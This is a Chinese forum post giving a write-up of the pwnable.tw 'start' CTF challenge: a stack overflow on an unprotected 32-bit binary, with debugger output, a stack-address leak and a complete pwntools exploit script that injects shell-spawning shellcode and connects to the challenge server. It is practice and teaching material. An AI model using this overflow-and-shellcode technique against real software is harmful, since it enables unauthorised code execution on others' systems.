吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3315|回复: 3
收起左侧

[调试逆向] pwnable.tw - start - 栈溢出

[复制链接]
dreamingctf 发表于 2022-3-18 20:17
start - 栈溢出
[Asm] 纯文本查看 复制代码
pwndbg> checksec
/start
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE



没有保护措施,直接上栈溢出

[Asm] 纯文本查看 复制代码
pwndbg> cyclic 150
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma

图片.png
[Asm] 纯文本查看 复制代码
ESP  0xffffd5fc ◂— 0x61616167 ('gaaa')
EIP  0x61616166 ('faaa')
───────────────────────────────────[ DISASM ]───────────────────────────────────
Invalid address 0x61616166

pwndbg> cyclic -l faaa
20

从代码里也能看出来
[Asm] 纯文本查看 复制代码
pwndbg> x/22i 0x08048060
   0x8048060 <_start>:    push   esp
   0x8048061 <_start+1>:    push   0x804809d
   0x8048066 <_start+6>:    xor    eax,eax
   0x8048068 <_start+8>:    xor    ebx,ebx
   0x804806a <_start+10>:    xor    ecx,ecx
   0x804806c <_start+12>:    xor    edx,edx
   0x804806e <_start+14>:    push   0x3a465443
   0x8048073 <_start+19>:    push   0x20656874
   0x8048078 <_start+24>:    push   0x20747261
   0x804807d <_start+29>:    push   0x74732073
   0x8048082 <_start+34>:    push   0x2774654c
   0x8048087 <_start+39>:    mov    ecx,esp
   0x8048089 <_start+41>:    mov    dl,0x14
   0x804808b <_start+43>:    mov    bl,0x1
   0x804808d <_start+45>:    mov    al,0x4
   0x804808f <_start+47>:    int    0x80
   0x8048091 <_start+49>:    xor    ebx,ebx
   0x8048093 <_start+51>:    mov    dl,0x3c
   0x8048095 <_start+53>:    mov    al,0x3
   0x8048097 <_start+55>:    int    0x80
   0x8048099 <_start+57>:    add    esp,0x14
   0x804809c <_start+60>:    ret

这里栈的 esp 是 0x14 的 add,在汇编 0x8048099 处

于是直接上,发现不对

[Asm] 纯文本查看 复制代码
"A" * 20 + shellcraft.sh()


肯定是栈的位置没布置好,需要泄露栈的内容
那么考虑在 0x804809c 的 ret 处,往上跳转,那只可能是用 write 函数,泄露出 esp 的值,于是构造 payload
[Asm] 纯文本查看 复制代码
payload = b"A" * 20 + p32(0x8048087)

图片.png

图片.png

泄露出了 esp,那么就可以布置栈环境了

偏移是 20,EIP 地址是 esp + 20,shellcode 用 shellcraft.sh就好了
[Asm] 纯文本查看 复制代码
from pwn import *

debug = 0
online = 0

context(log_level = "debug", arch = 'i386', os = "linux")

if online == 0:
    io = process("./start")
else:
    io = remote("chall.pwnable.tw", 10000)

rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True: io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info("\033[1;31;40m %s --> 0x%x \033[0m" % (s, addr))
uu32 = lambda data : u32(data.ljust(4, "\x00"))
uu64 = lambda data : u64(data.ljust(8, "\x00"))

ru("CTF:")
payload = b"A" * 20 + p32(0x8048087)
sn(payload)
esp = u32(io.recv()[:4])
log.info("esp = " + hex(esp))

shellcode = b"A" * 20 + p32(esp + 20) + asm(shellcraft.sh())
sn(shellcode)

io.interactive()


提交记录
[Asm] 纯文本查看 复制代码
$ find . -name flag
[DEBUG] Sent 0x12 bytes:
    b'find . -name flag\n'
[DEBUG] Received 0x12 bytes:
    b'./home/start/flag\n'
./home/start/flag

免费评分

参与人数 1威望 +1 吾爱币 +20 热心值 +1 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

头像被屏蔽
wzt0524 发表于 2022-3-18 22:45
提示: 作者被禁止或删除 内容自动屏蔽
trouman 发表于 2022-8-3 10:57
GalaxyMimi 发表于 2022-10-12 21:41
学习了,NX disabled 直接执行栈上的 shellcode 确实方便
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-21 19:41

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表